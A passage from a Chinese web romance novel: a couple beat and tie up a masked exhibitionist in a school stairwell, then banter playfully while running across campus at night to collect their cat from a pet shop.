打的有些热,路泊汀两下解开领带,眼神从下往上慢慢扫那人裸露的下/体,以及脸上渗人的面具,很廉价,比小时候那种街边一两块钱的塑料面具还招人笑,他无视他的痛哼,抬手压住他,刚要摘下他的面具,手就被大力打开。
那面具男再次反击,他骤然并起两臂狠狠冲开路泊汀的束缚,接着拾起别在腰上的那根鞭子,反手就要往他脖子上勒。
嘴里还气急败坏的飙着一串听不懂的鸟语。
声音难听的要死,体味也重得要死。
是那种丢垃圾车里都没法儿分类的底层渣子。
居然还有脸出来猥亵人?
路泊汀鼻子微皱,发出一点极轻蔑极嫌弃的“啧”,微别过脸,手下却攻势粗暴地一拳击中他的腹部,直接将那人打的弓下了腰。
“你们……”
墙角的小人终于讷讷发出一声。
路泊汀瞅一眼温声,见她表情呆呆的还没回过神,眼神一暗,又立着手肘,往那人弯下的后背劈去,冷声冷调的开口:“喂,你知道你吓到我老婆了么?嗯说话?道个歉啊老哥?”
黑暗中,□□的撞击声发出连连闷响。
温声确实被突如其来的激烈打斗一下吓到了,怔怔望向楼梯间打起来的两人,大眼睛发懵地眨了又眨。
什么情况……
她的指尖还有几秒钟前给他擦眼泪的湿渍。
噔!
脑袋瓜一下亮灯!
啊啊啊啊!
学校真有不法分子闯了进来??
几乎是条件反射,温声第一时间就掏出手机怼准那个面具男开录,还将手里那把烂扫帚往他的头上狠狠砸去。
哐当一声,精准投中!
“你个混蛋!!不准打我老公!!!”
她贴紧墙边边,就算怕得要死也还是没乱动,边录边大喊:“老公老公!挠他痒痒!戳他眼睛!踢他/鸡/鸡!!最好是两颗蛋都踢爆!!!”
在这种紧急时刻,她能安安分分不让他操心就已经是帮他最大的忙了。
温声觉得自己有点小窝囊废,这气势完全不够啊!她赶紧抱起耳朵让它也叫:“乖耳朵!快!你去呲他!!”
耳朵要不是被香香妈咪抱着,真能冲过去咬死那人,稀疏的小狗牙在黑影里露出白花花的凶光,它死死盯着那个坏人,叫了大半天:“汪!汪汪!!!”
一人一狗缩在墙角,全都使出了自己最大的力气去吼那个王八蛋!
“宝宝你色/色的。”路泊汀戏谑回眸,浪声一笑,“谁教你这么打架的?”
温声脸立马一红,伸着脖子小声回他:“你别管那么多!听我的,一颗蛋都不要给他留!”
路泊汀很乖很听话的眯起眼笑,抬膝,果然往那人的两腿间碾了上去。
还是绕着圈左右平碾。
非常一网打尽的动作。
“啊!!!”
那面具男喉间剧烈一紧,那几拳挨身上时疼的他眼神都散了,又加上刚才□□被一顶,疼得他想立马就死过去。
真的想死!!
白袍松松挂身上,他就像一条被逼绝境的恶狗,嘴里发出狼狈难抑的低吼,拖着伤了的右腿,还想用肩膀撞出去,结果被路泊汀逼得更近,一拳顶上他的肋骨。
“呃——!!”
他破音惨叫,膝盖一软,往地上就要摔去。
路泊汀又提起他的头往墙上狠撞,撞了十几下,撞的那人口鼻全喷出血,接着一拳轰碎他脸上碍眼的面具,嘲的很彻底:“迈尔斯本人知道他这么逊的么?”
有黏黏糊糊的湿热液体从他的鼻子里流了出来。
正好就滴到了路泊汀的手上。
?
他这下真操了,拉过他的白袍使劲擦擦擦,就算擦掉还是觉得膈应恶心,脸色一下变得很臭很难看,直接掀了那人的白袍揉成一团塞进他的嘴里堵住他的猪叫声,又用那根钢芯制作的鞭子将他反手捆到楼梯扶手上,还是那种绑犯人的军式绑法,他就算挣扎到死也解不开。
路泊汀掐紧他的脖子对上他挂血的脸再次左右开弓,“唉老子真想弄死你,你脏不脏?”
面具男被打的头晕目眩,身体摇晃着,站不稳又倒不下,只能死命承受着他每一记钝响的拳头。
温声看路泊汀已经制服了那人,也不怕了,赶紧飞过来,结果眼睛往他身下一落,一惊,下一秒,眼角就狠狠抽搐了好几下!
露阴癖!
啊啊啊啊!!!
眼睛都要烂掉,温声这一刻恨自己不是近视眼!
她趁路泊汀揍那人的间隙,猫着步子走过去对上他的□□就是一顿猛踹,“谁让你装神弄鬼了??你这死玩意儿长这么小你怎么有脸出来的?嘿哟还躲?!你说说你欺负了多少女生??”
面具男痛的脸抽了又抽,他艰难地扭着腰躲她,那种□□的阵痛钻进骨髓,几乎能失去所有知觉。
见她看到别人的祸根了,路泊汀一下不乐意了,叫她躲着点别看,温声摇头就不,还要再踢一脚,“烂唧唧比我们家小八仙绝育前还小,你真是畜生不如!!!”
一语双关。
毒舌的不得了。
路泊汀低低一笑,看起来无奈得很:“你是毒宝宝耶。”
“此地不宜久留,我们得赶紧走啦!”
温声快快关了录像,黑地里分不清这人是本校学生还是社会上的不法分子,怕被日后报复,她小心拉下盖到头顶的路泊汀的外套,将脸乱七八糟地遮住,然后蹬蹬蹬跑上楼梯,在那片报刊架里摸黑找出几本比较重要的刊物,抱在怀里,又蹬蹬蹬跑回路泊汀身边,拉起他的手就要跑:“走走走!我们快走!!!”
“这人怎么处理?”
“不用管他,我录像了,我们学院的老师绝不可能放任这种事不管。”温声早就不是小小年纪那会儿的老好人了,又一脚踢那人身上,恶狠狠地说:“你明早等着受死吧!!!”
面具男胸口急促起伏,发疯一样大叫:“唔唔唔!”
路泊汀重新抱起耳朵,接着表情一变,朝温声伸出手,柔柔弱弱地叹了声气:“刚才打人好痛,揉揉我。”
眼里隐隐还有刚才的潮气,声音不知道是不是刻意的,反正带着沙沙的软意。
见她没反应,他又娇娇气气地催她:““真的很痛,喏!你看都红了。”
那双手白白净净细细长长,就算在黑暗里,也带着天然的光泽感,像丝绸,像柔缎,是她见过的最优雅漂亮又有冷感的一双手。
就算知道他在装,温声也说不出什么呛嘴的话了。
在绝对的战斗和实力面前,他那些装模作样和矫揉造作,简直没什么好计较的。
装吧,矫情吧,反正……
反正她会买单。
唉。
温声赶紧抱着他的手,轻轻揉啊揉,呼呼呼小口吹着凉气,接着哄啊哄:“等回家后我给你上药,你再忍忍噢”
她一下又怒了,不解气地再次踢了那人一脚,张牙舞爪地骂道:“你疯啦!敢欺负我的人!!你要死啊!!!”
那人真的都快被踢死了啊。
嘴里唔唔唔,被路泊汀用袍子塞住的嘴像只鲶鱼的嘴巴,张张张合合合,就是说不出一个字来。
活该!!!
路泊汀眉眼满是坏心眼的笑意,接过她手里的那几本期刊,一手拉着她往楼下走,边走边抱怨:“不止手痛,感觉哪哪都不舒服,好像还受惊了,需要宝宝今晚抱着我睡才能睡好……”
哼哼。
装什么。
温声歪着小嘴,凉凉抬起眼皮看他,几秒后,深吸一口气才勉强点头:“好,你别挤我就行。”
“我还要穿你最喜欢的睡衣……”
温声决定他说什么都不生气,始终微笑,“我要先去翻翻衣柜啦,我之前买了一套超大码的睡衣,够你穿了!”
“我还想和你盖一个被子……”
他对她总是动手动脚,什么动机她能不清楚??
这个不行!这得拒绝!!
“我的被子很小的!肯定不够你盖!”
路泊汀这下又低低落落地垂下眼,不说话了。
还是那种暗自伤神的沉默。
……
温声无措地抓了抓头发,也不知道谈个恋爱怎么能这么麻烦,哈哈一声干笑,抱紧他的胳膊又改口:“给你盖给你盖好不好,我有一个超大的花被子,是刘嫂自己缝的哦,肯定够我们盖啦!”
见他慢慢噘起嘴巴,温声现在开始上道了,知道是什么意思了,赶紧扯下他的胳膊,趁他斜下肩,她立马亲了上去,还是那种很小心翼翼很视若珍宝的触碰,语气甜甜的哄他:“我最喜欢和你睡觉觉啦!”
路泊汀不动声色地吹开她脑门的碎毛,故意歪解她:“今晚就要睡觉觉。”
温声装听不懂,笑着点点头:“太晚了,回去就要赶紧睡觉觉,我今天超累嘚!”
“累了你就先睡。”路泊汀压根不放过她,就是要继续得寸进尺:“老公可以自己动,要睡肉觉觉。”
什么肉觉觉素觉觉!
滚啊!!
懒得哄了,温声红着脸瞪他,想立马打死他!
再次回到翻墙前的位置,温声看了一眼时间,已经是夜里11:45,她这会有点犯困,斜着小身板,迷迷糊糊地靠紧他,“怎么办,十二点宠物店就关门了,我们还要去接小八仙呀,从学校到宠物店最快也要二十分钟。”
刚说完,手机就没电黑屏了。
最糟糕的是,她没有背下那家店的电话号码!
耳朵也困得不行,不时打着小哈欠。
路泊汀蹲下身,前身挂着小狗,背朝向她,“你当个导航,我们要跑咯。”
温声都没思考,很自然地爬了上去,一只胳膊紧紧圈住他的脖子,掉着小脑袋在他耳侧,几年过去了,困顿的声音还是一如既往的像海绵宝宝:“你要小心点喔,前面右转有一个长廊,那里没有路灯,对啦,前面还有一个没井盖的坑,不要踩空喔……”
声音越说越小……
“不准睡觉!你睡了我怎么办?”
路泊汀急忙高高抖醒她,又拧了把她的屁股肉,“喂,不准睡,睡着给我500块!”
那可是500块钱啊!
够她吃两三顿豪华麦麦了!!
温声立马惊醒过来,再次勒紧他:“谁告诉你我睡着了!你只管看路别操心我!!”
路泊汀只是笑,一直
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笑,晚风在前面为他们开出一条非常敞亮的路,两人从发梢到衣角被风声吹出了一丝神采奕奕的风浪,明明那只是一条漆黑又有凉意的小路,却在这一刻因为他们的存在,道路被渲染出一股白日晴风般的热焰。
路泊汀大步跑在校园里,路过她白天去的食堂,路过她经常去的那间像霍格沃茨城堡一样的图书馆,那些彩色玻璃窗随着他们跑动的角度变幻出无数闪闪碎光,温声忽然出声:“你下次跟我去图书馆吧,我想给橙子借几本书。”
路泊汀也不问缘由,答应得很爽快:“偷还是抢,你得提前说,我好准备工具。”
神经!
温声彻底清醒了,又笑着给他指:“它的旁边你看到了吗,是一个小庭院,我之前中午进去过,可以躺在草坪上睡觉的……”
“怎么醒的?”路泊汀轻飘飘接话,“不会是被自己的呼噜声吓醒的吧?”
放屁!
谁说的!
她才不打呢!
温声立马就炸了,两手掐紧他的脖子,凶巴巴地威胁道:“你最好想清楚再说,我打不打呼噜你难道不知道???”
路泊汀夸张地咳了几声,还在弯起眼睛继续笑,又风轻云淡地套她的话:“我难道能知道?”
“不然呢!”温声应得中气十足,“你跟我都睡过那么多次了!那么多次!!怎么会不知道!!”
然后这次又换成他咯咯咯的笑出声。
“wow~那么多次啊~”
笑得很意犹未尽。
肩膀一抖一抖的,差点给身上的人抖下去。
“是正经睡觉啦!”温声的脸又一次唰的变红了,锤他的背,掐他的耳朵,又冷哼一声,“你不要套我的话!”
经过另一栋楼,同样的红砖拱形窗,肃静的像中世纪的殿堂,温声又秃噜着嘴皮赶紧介绍:“这栋楼都快一百年了,我大一的时候和百合在里面跟其他学院的同学打过辩论赛,而且里面有一面任学生随意涂鸦的白墙,我还画了你呢!”
路泊汀扫一眼那楼,笑得很揶揄:“那岂不是完蛋了,今晚作案你老公要被发现了。”
“应该不会啦!我画的只是抽象派的我老公哟,他们联想不到的!”
温声抱着他的脖子嘿嘿笑起来,两只手像抹布一样胡乱抹了把他的脸,“就算被抓到又如何,那我就发发好心,陪他一起被抓走好啦。”
路泊汀侧耳贴了贴她的手心作回应,脚下步子依旧生风,“不太清楚这里的监狱规定,不过老公会记得今晚回去先好好撸铁好好健身,真要被抓了就找时机带你越狱。”
温声有点感动了,赶紧点头:“那我努力不当你的拖油瓶!”
这时,路泊汀慢悠悠地提起另一件事。
“你那只蠢包,里面的东西只要有用,在被警察抓之前记得都要先给我,老公越狱用得上。”
……
说了那么多前提,说的那么人模狗样的!
原来是在这里等着她的包呢!!
温声这回彻底没睡意了,抓紧包包,谨慎又谨慎地说:“那我还是躺在监狱里等死好了,你自己逃就行,多谢你的好意哦。”
“啧。”
路泊汀眼尾轻轻一挑,笑声很慵懒:“都什么年代了,不会真有人能傻傻相信像老公这种靠不住的生物能带你越狱这种客套话吧,不会吧?应该不会吧?”
温声讨厌死他了!又去用力抓挠他的两只耳朵,“我让你胡说我让你胡说!闭嘴吧你!!!”
两人就喜欢将话捶到底最好是捶成浆糊,这样就能黏黏糊糊说一些乱七八糟又很粉红泡泡的烂话了。
别人听不懂最好不过。
对着半空,他们同时闭紧嘴,噗嗤一声,又同时笑开。
反正这种烂话他们最懂就好。
再次路过那个铜像时,路泊汀忽然说:“我有一件想许愿的事。”
“是什么?”
“说了就不灵了。”
他跑过去,背着她,托高她,“你来摸一下。”
“你许愿,当然是由你来摸啊。”温声看着铜像手里握着的剑,没动作,“我摸了就代表是我许愿呀,我才不要。”
我的心愿是,你所有的心愿我都能为你做到。
路泊汀下巴点了点地面,他们紧紧叠在一起,那影子看上去莫名有股十分强大的力量,“你不就是我,我不就是你?”
温声歪着脑袋定定看了几眼影子,重新望向面前的大铁剑,想了想,只好用两腿侧夹住他,伸手碰了碰那个剑锋,也不知道是不是猜到他许的愿了,她接口接的很顺利——
“我也是,我也一定会做到。”
然后她让他抬起右手去碰她的右边胳膊,力接力,她笑着朝他喊:“好了!四舍五入,我们都摸到了!!”
两人飞奔到宠物店时,时间刚刚好到零点。
温声还骑在路泊汀身上,两人大口大口喘着气,头发都被风吹乱了。
差点没赶上!
店老板手里提着一只透明猫包,小八仙看到温声时,立马冲她喵喵叫,大大的猫眼注意到路泊汀后,高高翘起的尾巴随之一顿。
“喵呜……”
叫声立马软了下来。
路泊汀和它对上眼,几年过去它的个头已经翻了三四倍,毛发绸亮雪白,通身贵气优雅,这会儿甩着蓬松漂亮的大尾巴朝他摆来摆去,那双蓝绿色的鸳鸯眼意外的清澈,对视中,他又记起曾经说过的话——说它有思想他都信。
很有灵气的一只猫。
“慢点吧慢点吧,你们用不着这么赶!你朋友晚上来过电话,说无论如何都让我再等等。”
那老板悠闲地站在店外,家里的老婆孩子早都睡觉了,他的手里捏着一只电子烟,倾斜过来的风吹开那些朦胧的烟雾,地上还落着一个快空瓶的饮料瓶,见等的人到了,他这才抬手摁上门边的感应键,宠物店的卷闸门缓缓往下落。
那只很大很重的猫包同时递给路泊汀。
“她说你们今晚一定会来接走它。”